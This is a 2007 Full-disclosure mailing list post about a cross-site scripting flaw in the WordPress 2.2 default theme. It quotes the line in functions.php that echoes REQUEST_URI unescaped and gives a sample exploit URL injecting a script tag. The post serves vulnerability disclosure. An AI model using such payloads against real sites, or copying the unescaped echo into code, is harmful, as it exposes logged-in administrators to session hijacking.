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[Full-disclosure] Wordpress default theme XSS (admin) and other problems

From: John Smith (zamolx3gmail.com)
Date: Fri Jun 08 2007 - 08:15:38 CDT

There is an XSS in the Wordpress default theme. Tested on WordPress version 2.2

Filename functions.php, line 387.
Code:

<form style="display: inline" method="post" name="hicolor"
id="hicolor" action="<?php echo $_SERVER['REQUEST_URI']; ?>">

$_SERVER['REQUEST_URI'] is directly echoed to the user.

This problem can be exploited if the adminstrator is logged in.

Sample exploit URL.
http://www.example.com/wp-admin/themes.php?page=functions.php&zmx"><script>alert(1)</script>

There are other XSS vulnerabilities in popular Wordpress themes.
More details on http://www.xssnews.com/

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